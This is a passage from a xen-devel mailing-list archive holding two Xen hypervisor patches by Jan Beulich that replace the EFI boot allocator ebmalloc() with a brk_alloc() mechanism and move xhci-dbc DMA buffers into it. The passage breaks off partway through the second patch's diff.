 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:20:12 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6730dc-f479-0a2a450c0019-d155dd36e01d-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:20:12 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-47f3b39f2a1so2094476f8f.2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:20:12 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a596sm46797487f8f.4.2026.07.27.03.20.10
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:20:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785147612; x=1785752412; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=FN7W45SrJHwi206FXCh2uedKhx/KQMiLh+IoEidA5MA=;
        b=JvlO8rTgRDXpiZ06aJC3RGCQagDpqY9Yi5jzd8WnIQ7o+GnRz9R2zccPU7/me9ABhO
         dl1GhLsrJT2tpOjoeBij3wLrF+hjYsCVd8OQq6tG0vqRI3+ovr7nfQumQBYm2tXWhVuD
         wWoni2lkCOqKgU/7pvWCMjzXxFUX18QqPPaxxx8ZZ5ZEM9hVoZu9mlWnesKfD1ngJQX7
         3ccHf12IxnL3rIr97dAE/O/zhW1Mnl1iQGpF5A4ZnLmEE5g2qhh+ZGNmfuiENbeZIIGr
         Ty7Pc5J6qozY0mIIJ44HPFkp6I5tulf4IGnOHnonYrz4jijfe37Ku/wbk92J1M7hft0U
         9u9Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785147612; x=1785752412;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=FN7W45SrJHwi206FXCh2uedKhx/KQMiLh+IoEidA5MA=;
        b=fxabuECFmBUP13/ffo1ptt+WXj58OFammGRAGGoXQR5CEmpGEaryUuUdGIJ1yK4Ee5
         HSsY+4SjhHajuqEiNkN7lW2UZgzDINHGALHz0khFwx0mten0jXJ8z1E4gxuL02PfiSLI
         YmvyI/VSORpVbzjJTDdtzGENS9AZ4osyEyORf7w50pGf1MvvsqC2jtFJHQHaUMa6/vYY
         JbuFgR0J9iqT88crHBUONL/RH4OcO0wLqxXEabY2BRgZqmj4Aj0EFi5To9oyPhFp9P/2
         sHqgHq0Zt1h/bhdhQyU/37WXMfdVml8K5RSDiGkqbkb7mgXkVEYY5zZ3FK1Grj+vZt9d
         A2nA==
X-Gm-Message-State: AOJu0YwFMe89Eto2Pg1O92t4DmXW+i43SOsWgHGt337oEKi3Nh+ScfMN
	uTqBVnVP6lPlw4Nv6FYc8z072gBfZ7F8yYTYWE6X6QS65syAHp0/zDxRqT/LAxMG6qIpCc7aPmc
	83nGG6Q==
X-Gm-Gg: AR+sD13NvrmX62KnsTmzYnxTWNOTwnq1btqACwApfV3NnUcYER6QYvu5eDnaxK9W7zy
	tHuW/dUzq6GqCLiruLeeHuqvJIOEWA2ZJ0vvrXy+N8Wy9Xdq+CReLDBJ2GqG1SYW5zy9cQlgi42
	BB/hFJ3uHTYAj4TGL8EousR/UJ80FIJzR1qmO5UVjxuFAbRkPK10z9SXR4dkhbd9aduQCnUA8yN
	r0wtL233f7sKUAT+vyTtHMsV4QHJLuhJMvfvkpyxgnPqViFwwA80z79t265AtcoIasS2OilzMeX
	76Iw46o+QrMJeasGlAx18aP325apILEQbv2lVeyWXDZAtV0Aa3UWADewNcHyf5xOSAg9BgspNan
	YXtGjYoz2GfdyFxOPm35B4pkMHLFp3EWYtia2FcJyu6urbBZNFBgHKjRNnAoqC0TZxzkNGszLK3
	bnBvlYWnf/qhGhD6MhtTY2aWk7kGtonPm+Rsc2I9ruJjfIRs1uWvtN81NlX+uDiGnH2g==
X-Received: by 2002:a05:6000:4903:b0:47f:93d8:f480 with SMTP id ffacd0b85a97d-47f9fea2d13mr9482811f8f.39.1785147611673;
        Mon, 27 Jul 2026 03:20:11 -0700 (PDT)
Message-ID: <98388998-c5c6-4991-8662-2b4bf25188f2@suse.com>
Date: Mon, 27 Jul 2026 12:20:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 2/3] x86/EFI: replace ebmalloc()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Teddy Astie <teddy.astie@vates.tech>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Daniel Smith <dpsmith@apertussolutions.com>
References: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLp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Qi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1785147612-03ED2A5B-FCB42320/0/0
X-purgate-type: clean
X-purgate-size: 11267

Use the new brk_alloc() instead, with ebmalloc() merely being a thin
wrapper.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
I'm not quite certain whether we ought to permit non-page-granular
reservations. The in-memory image being somewhat larger due to possibly
excessive padding isn't really a big problem, I think.
---
v2: Re-base.

--- a/xen/Rules.mk
+++ b/xen/Rules.mk
@@ -263,7 +263,7 @@ quiet_cmd_obj_init_o = INIT_O  $@
 define cmd_obj_init_o
     $(OBJDUMP) -h $< | while read idx name sz rest; do \
         case "$$name" in \
-        .*.local) ;; \
+        .*.local|.bss..brk*) ;; \
         .text|.text.*|.data|.data.*|.bss|.bss.*) \
             test $$(echo $$sz | sed 's,00*,0,') != 0 || continue; \
             echo "Error: size of $<:$$name is 0x$$sz" >&2; \
--- a/xen/arch/x86/efi/efi-boot.h
+++ b/xen/arch/x86/efi/efi-boot.h
@@ -10,6 +10,7 @@
 #include <xen/vga.h>
 
 #include <asm/boot-helpers.h>
+#include <asm/brk.h>
 #include <asm/e820.h>
 #include <asm/edd.h>
 #include <asm/microcode.h>
@@ -119,6 +120,18 @@ static void __init relocate_trampoline(u
     reloc_trampoline64();
 }
 
+DEFINE_BRK(efi, MB(1));
+
+static void *__init ebmalloc(size_t size)
+{
+    void *ptr = brk_alloc(size);
+
+    if ( !ptr )
+        blexit(L"Out of BRK memory\r\n");
+
+    return ptr;
+}
+
 static void __init place_string(u32 *addr, const char *s)
 {
     char *alloc = NULL;
--- a/xen/arch/x86/efi/stub.c
+++ b/xen/arch/x86/efi/stub.c
@@ -41,12 +41,4 @@ void __init noreturn efi_multiboot2(EFI_
 
 void __init efi_init_memory(void) { }
 
-bool efi_boot_mem_unused(unsigned long *start, unsigned long *end)
-{
-    /* FIXME: Simplify once the call here with two NULLs goes away. */
-    if ( start || end )
-        *start = *end = (unsigned long)_end;
-    return false;
-}
-
 void efi_update_l4_pgtable(unsigned int l4idx, l4_pgentry_t l4e) { }
--- a/xen/arch/x86/include/asm/brk.h
+++ b/xen/arch/x86/include/asm/brk.h
@@ -2,6 +2,10 @@
 
 #include <xen/types.h>
 
+#define DEFINE_BRK(var, size) \
+    static char __section(".bss..brk.page_aligned") __aligned(PAGE_SIZE) \
+        __used var ## _brk_[size]
+
 void *brk_alloc(size_t size);
 unsigned long brk_get_unused_start(void);
 void brk_free_unused(void);
--- a/xen/arch/x86/include/asm/setup.h
+++ b/xen/arch/x86/include/asm/setup.h
@@ -9,6 +9,8 @@ extern const char __2M_rodata_start[], _
 extern char __2M_init_start[], __2M_init_end[];
 extern char __2M_rwdata_start[], __2M_rwdata_end[];
 
+extern unsigned long brk_end;
+
 extern unsigned long xenheap_initial_phys_start;
 extern uint64_t boot_tsc_stamp;
 
--- a/xen/arch/x86/setup.c
+++ b/xen/arch/x86/setup.c
@@ -31,6 +31,7 @@
 #include <asm/alternative.h>
 #include <asm/apic.h>
 #include <asm/bootinfo.h>
+#include <asm/brk.h>
 #include <asm/bzimage.h>
 #include <asm/cpu-policy.h>
 #include <asm/e820.h>
@@ -164,6 +165,8 @@ cpumask_t __read_mostly cpu_present_map;
 
 unsigned long __read_mostly xen_phys_start;
 
+unsigned long __ro_after_init brk_end;
+
 /* Only used in asm code and within this source file */
 char asmlinkage __section(".init.bss.stack_aligned") __aligned(STACK_SIZE)
     cpu0_stack[STACK_SIZE];
@@ -1141,7 +1144,6 @@ void asmlinkage __init noreturn __start_
     struct boot_info *bi;
     unsigned long nr_pages, raw_max_page;
     int i, j, bytes = 0;
-    unsigned long eb_start, eb_end;
     bool acpi_boot_table_init_done = false, relocated = false;
     bool vm_init_done = false;
     int ret;
@@ -1511,7 +1513,7 @@ void asmlinkage __init noreturn __start_
         /*
          * This needs to remain in sync with remove_xen_ranges() and the
          * respective reserve_e820_ram() invocation below. No need to
-         * query efi_boot_mem_unused() here, though.
+         * query brk_get_unused_start() here, though.
          */
         xen->start = virt_to_maddr(_stext);
         xen->size  = __2M_rwdata_end - _stext;
@@ -1654,18 +1656,11 @@ void asmlinkage __init noreturn __start_
     if ( !xen_phys_start )
         panic("Not enough memory to relocate Xen\n");
 
-    /* FIXME: Putting a hole in .bss would shatter the large page mapping. */
-    if ( using_2M_mapping() )
-        efi_boot_mem_unused(NULL, NULL);
-
     /* This needs to remain in sync with remove_xen_ranges(). */
-    if ( efi_boot_mem_unused(&eb_start, &eb_end) )
-    {
-        reserve_e820_ram(&boot_e820, __pa(_stext), __pa(eb_start));
-        reserve_e820_ram(&boot_e820, __pa(eb_end), __pa(__2M_rwdata_end));
-    }
-    else
-        reserve_e820_ram(&boot_e820, __pa(_stext), __pa(__2M_rwdata_end));
+    brk_end = brk_get_unused_start();
+    if ( using_2M_mapping() )
+        brk_end = PAGE_ALIGN_2M(brk_end);
+    reserve_e820_ram(&boot_e820, __pa(_stext), __pa(brk_end));
 
     /* Late kexec reservation (dynamic start address). */
     kexec_reserve_area();
@@ -2267,7 +2262,6 @@ __initcall(init_xen_cap_info);
 
 int __hwdom_init remove_xen_ranges(struct rangeset *r)
 {
-    paddr_t start, end;
     int rc;
 
     /* S3 resume code (and other real mode trampoline code) */
@@ -2289,26 +2283,10 @@ int __hwdom_init remove_xen_ranges(struc
         return rc;
 
     /* hypervisor .data + .bss */
-    if ( efi_boot_mem_unused(&start, &end) )
-    {
-        ASSERT(__pa(start) >= __pa(&__2M_rwdata_start));
-        rc = rangeset_remove_range(r, PFN_DOWN(__pa(&__2M_rwdata_start)),
-                                   PFN_DOWN(__pa(start) - 1));
-        if ( rc )
-            return rc;
-        ASSERT(__pa(end) <= __pa(&__2M_rwdata_end));
-        rc = rangeset_remove_range(r, PFN_DOWN(__pa(end)),
-                                   PFN_DOWN(__pa(&__2M_rwdata_end) - 1));
-        if ( rc )
-            return rc;
-    }
-    else
-    {
-        rc = rangeset_remove_range(r, PFN_DOWN(__pa(&__2M_rwdata_start)),
-                                   PFN_DOWN(__pa(&__2M_rwdata_end) - 1));
-        if ( rc )
-            return rc;
-    }
+    rc = rangeset_remove_range(r, PFN_DOWN(__pa(&__2M_rwdata_start)),
+                               PFN_DOWN(__pa(brk_end) - 1));
+    if ( rc )
+        return rc;
 
     return 0;
 }
--- a/xen/arch/x86/tboot.c
+++ b/xen/arch/x86/tboot.c
@@ -321,8 +321,6 @@ void tboot_shutdown(uint32_t shutdown_ty
     /* if this is S3 then set regions to MAC */
     if ( shutdown_type == TB_SHUTDOWN_S3 )
     {
-        unsigned long s, e;
-
         /*
          * Xen regions for tboot to MAC. This needs to remain in sync with
          * remove_xen_ranges().
@@ -336,16 +334,8 @@ void tboot_shutdown(uint32_t shutdown_ty
         g_tboot_shared->mac_regions[1].size = __2M_rodata_end - _stext;
         /* hypervisor .data + .bss */
         g_tboot_shared->mac_regions[2].start = (uint64_t)__pa(&__2M_rwdata_start);
-        g_tboot_shared->mac_regions[2].size = __2M_rwdata_end - __2M_rwdata_start;
-        if ( efi_boot_mem_unused(&s, &e) )
-        {
-            g_tboot_shared->mac_regions[2].size =
-                s - (unsigned long)__2M_rwdata_start;
-            g_tboot_shared->mac_regions[3].start = __pa(e);
-            g_tboot_shared->mac_regions[3].size =
-                (unsigned long)__2M_rwdata_end - e;
-            g_tboot_shared->num_mac_regions = 4;
-        }
+        g_tboot_shared->mac_regions[2].size =
+            brk_end - (unsigned long)__2M_rwdata_start;
 
         /*
          * MAC domains and other Xen memory
--- a/xen/common/efi/boot.c
+++ b/xen/common/efi/boot.c
@@ -1825,8 +1825,6 @@ void __init efi_init_memory(void)
         pte_attr_t prot;
     } *extra, *extra_head = NULL;
 
-    free_ebmalloc_unused_mem();
-
     if ( !efi_enabled(EFI_BOOT) )
         return;
 
--- a/xen/common/efi/ebmalloc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-#include "efi.h"
-#include <xen/init.h>
-#include <xen/mm.h>
-
-#ifdef CONFIG_ARM
-/*
- * TODO: Enable EFI boot allocator on ARM.
- * This code can be common for x86 and ARM.
- * Things TODO on ARM before enabling ebmalloc:
- *   - estimate required EBMALLOC_SIZE value,
- *   - where (in which section) ebmalloc_mem[] should live; if in
- *     .bss.page_aligned, as it is right now, then whole BSS zeroing
- *     have to be disabled in xen/arch/arm/arm64/head.S; though BSS
- *     should be initialized somehow before use of variables living there,
- *   - use ebmalloc() in ARM/common EFI boot code,
- *   - call free_ebmalloc_unused_mem() somewhere in init code.
- */
-#define EBMALLOC_SIZE	MB(0)
-#else
-#define EBMALLOC_SIZE	MB(1)
-#endif
-
-static char __section(".bss.page_aligned") __aligned(PAGE_SIZE)
-    ebmalloc_mem[EBMALLOC_SIZE];
-static unsigned long __read_mostly ebmalloc_allocated;
-
-/* EFI boot allocator. */
-void __init *ebmalloc(size_t size)
-{
-    void *ptr = ebmalloc_mem + ebmalloc_allocated;
-
-    ebmalloc_allocated += ROUNDUP(size, sizeof(void *));
-
-    if ( ebmalloc_allocated > sizeof(ebmalloc_mem) )
-        blexit(L"Out of static memory\r\n");
-
-    return ptr;
-}
-
-bool efi_boot_mem_unused(unsigned long *start, unsigned long *end)
-{
-    /* FIXME: Drop once the call here with two NULLs goes away. */
-    if ( !start && !end )
-    {
-        ebmalloc_allocated = sizeof(ebmalloc_mem);
-        return false;
-    }
-
-    *start = (unsigned long)ebmalloc_mem + PAGE_ALIGN(ebmalloc_allocated);
-    *end = (unsigned long)ebmalloc_mem + sizeof(ebmalloc_mem);
-
-    return *start < *end;
-}
-
-void __init free_ebmalloc_unused_mem(void)
-{
-    unsigned long start, end;
-
-    if ( !efi_boot_mem_unused(&start, &end) )
-        return;
-
-    destroy_xen_mappings(start, end);
-
-#ifdef CONFIG_X86
-    /*
-     * By reserving the space early in the E820 map, it gets freed way before
-     * we make it here. Don't free the range a 2nd time.
-     */
-#else
-    init_xenheap_pages(__pa(start), __pa(end));
-#endif
-
-    printk(XENLOG_INFO "Freed %lukB unused BSS memory\n", (end - start) >> 10);
-}
--- a/xen/common/efi/efi-common.mk
+++ b/xen/common/efi/efi-common.mk
@@ -1,4 +1,4 @@
-EFIOBJ-y := boot.init.o pe.init.o ebmalloc.o runtime.o
+EFIOBJ-y := boot.init.o pe.init.o runtime.o
 EFIOBJ-$(CONFIG_COMPAT) += compat.o
 
 CFLAGS-y += -fshort-wchar
--- a/xen/common/efi/efi.h
+++ b/xen/common/efi/efi.h
@@ -48,10 +48,6 @@ void noreturn blexit(const CHAR16 *str);
 
 const CHAR16 *wmemchr(const CHAR16 *s, CHAR16 c, UINTN n);
 
-/* EFI boot allocator. */
-void *ebmalloc(size_t size);
-void free_ebmalloc_unused_mem(void);
-
 const void *pe_find_section(const void *image, const UINTN image_size,
                             const CHAR16 *section_name, UINTN *size_out);
 
--- a/xen/include/xen/efi.h
+++ b/xen/include/xen/efi.h
@@ -39,7 +39,6 @@ static inline bool efi_enabled(unsigned
 extern bool efi_secure_boot;
 
 void efi_init_memory(void);
-bool efi_boot_mem_unused(unsigned long *start, unsigned long *end);
 unsigned long efi_get_time(void);
 void efi_reset_system(bool warm);
 #ifndef COMPAT



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 10:20:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 10:20:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371525.1619019 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIRu-0008Dv-Se; Mon, 27 Jul 2026 10:20:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371525.1619019; Mon, 27 Jul 2026 10:20:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woIRu-0008Do-Ps; Mon, 27 Jul 2026 10:20:42 +0000
Received: by outflank-mailman (input) for mailman id 1371525;
 Mon, 27 Jul 2026 10:20:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woIRt-0008DY-Hu
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:20:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woIRs-003M40-UB
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:20:40 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6730eb-e002-0a2a0a5209dd-0a2a4504e8f6-34
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:20:40 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6730f8-b57f-0a2a45040019-d155802ddc3e-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 12:20:40 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4954afac04bso29923265e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 03:20:40 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bfe07e1sm224907225e9.3.2026.07.27.03.20.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 03:20:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785147640; x=1785752440; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=R+gGXDm7e3E7luUT03vkRevAy5s7Sddb9vqNWLAUZMQ=;
        b=Hb1aVC10FSzRxeUfP6Jfrf+6LBwOlPqHBwgCOkWtLCe5kaHRAZIXN7elQe/tHWzwm/
         yGr5S4GdM2/GQi+1QjfXCIQcDkH0PJm3XCBpwGes1RunXk+aE9Q+GPoqI8JbGiA9uYOU
         5+QjPPdZ4ySYDsj0wxARgcfyiOSxr3r119fs5qIAn4Mqng2ET2Dos1bVolSib/2jdheQ
         UApHT+B70pT7hO+OfUPCT/0r14G/QCpDUEt5Ox/yGKjYM3GXo8muQxi3Iohw4K62NuFe
         SLZg1tdovtmeJOiIc3fwgwZit7wgh6WHDz6719HHiuqUCKb4TdV3PhDyXmSnSQX8Syot
         3Jbg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785147640; x=1785752440;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=R+gGXDm7e3E7luUT03vkRevAy5s7Sddb9vqNWLAUZMQ=;
        b=BgNT9G70vSA248MEBTwinfa7Vk3oCJ1ByxCAFndfn/HijymQaVswQGok2Zrrn5hE9x
         +bVf6BgYW6zzpDdwwnS2Rs3SdgXiyln3ofi9TZiXEYPLnRsPXyiIO3a5AmKlvf/Z7Jm8
         o1xvrem3EjYcWNv7zq/TQ2RWVGJ6JCG4805QWzHT8nMeSJ8bTphBIDydWEqC3t6ch0Xy
         KK+6LoUxSC3JI/DQOcF4BqgEI4Hs33JC0iFK+Ch8Cft4ONd99X1eipS37phHFKxDOGcM
         lI3lqjKQtBGL+i5JsKxK8r2FPVRC5cNRScxGvNg3ZEt0f9fS9VNzTF0e6Nbii3Mc7tsU
         WPNw==
X-Gm-Message-State: AOJu0YzcXWRXo0IR3YIXKHTTgnxpkXsuvtGMDT+pqHDiJ8ZJlJ7g4Rnb
	J8rDsZ+2uLEje+mE/FjTRgoemO625Bz5UFmacMt38027YuO11jLwilelOGSUEr7tp8Ch/gbMrEm
	+qttGcA==
X-Gm-Gg: AR+sD12LNt0qL7PCghOoVuCnKpl41u624aTHZ8NZRp+oYvC20A8Rk6XaWx+6rRNdV0k
	KSt+fAyqEyD/dTPxDSui5kKdzqONue5vnuV2Ys2WXJAM8Pk6ZdwjABVkaiyMl/d3KBwixwGZadX
	UkVn/R1zNqrRSkQdjm5WM0qfGJ0Uaizl5Cpdq/g40U4mZUl99sf/JVCOIjJ4lFXE2pAKmApoBU6
	pNKaZJ7b38mBMcKr59k8k/whyfcLGkRoeWkumPTjhQPk06QCLq8J/O/DCcnUG7TPVp8ZrFr9xOQ
	14uZ7PKRpoVci0RfqSNdabcSqJILOY2q3XMvlEbURFESWKvzZD/qENR9eoEf3dizPLSHVZJjL3I
	XowqR+4NrxefMD2iwLb6RV7Bb32s98WPkKYoQ93valoyg6/mVw4SRUsG4fsorzcxnhtR2NN4w3l
	qwFs+EqRdO3Aq8GJ/yM7ck3BhxYJKsiSRZYB0X9fdA6jpSTmNYSNIeD+kJKEZU5d6Ydf1It2eru
	jtv
X-Received: by 2002:a05:600c:12d4:b0:495:4dd3:ca97 with SMTP id 5b1f17b1804b1-496b56fa62bmr62636045e9.29.1785147640288;
        Mon, 27 Jul 2026 03:20:40 -0700 (PDT)
Message-ID: <a8ecb969-d0a0-40af-a49c-a94e6fbda0f7@suse.com>
Date: Mon, 27 Jul 2026 12:20:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 3/3] xhci-dbc: use brk_alloc()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Marek Marczykowski <marmarek@invisiblethingslab.com>
References: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo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Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785147640-C26CAB50-33559181/0/0
X-purgate-type: clean
X-purgate-size: 2748

This way the relatively large chunk of DMA buffers can be freed when the
driver isn't in use.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>

--- a/xen/drivers/char/xhci-dbc.c
+++ b/xen/drivers/char/xhci-dbc.c
@@ -27,6 +27,8 @@
 #include <xen/serial.h>
 #include <xen/timer.h>
 #include <xen/types.h>
+
+#include <asm/brk.h>
 #include <asm/fixmap.h>
 #include <asm/io.h>
 #include <asm/string.h>
@@ -1321,7 +1323,7 @@ static struct uart_driver dbc_uart_drive
 };
 
 /* Those are accessed via DMA. */
-struct dbc_dma_bufs {
+struct __aligned(PAGE_SIZE) dbc_dma_bufs {
     struct xhci_trb evt_trb[DBC_TRB_RING_CAP];
     struct xhci_trb out_trb[DBC_TRB_RING_CAP];
     struct xhci_trb in_trb[DBC_TRB_RING_CAP];
@@ -1335,8 +1337,7 @@ struct dbc_dma_bufs {
      * DMA-reachable by the USB controller.
      */
 };
-static struct dbc_dma_bufs __section(".bss.page_aligned") __aligned(PAGE_SIZE)
-    dbc_dma_bufs;
+DEFINE_BRK(xhci, sizeof(struct dbc_dma_bufs));
 
 static int __init cf_check xhci_parse_dbgp(const char *opt_dbgp)
 {
@@ -1413,24 +1414,33 @@ void __init xhci_dbc_uart_init(void)
 {
     struct dbc_uart *uart = &dbc_uart;
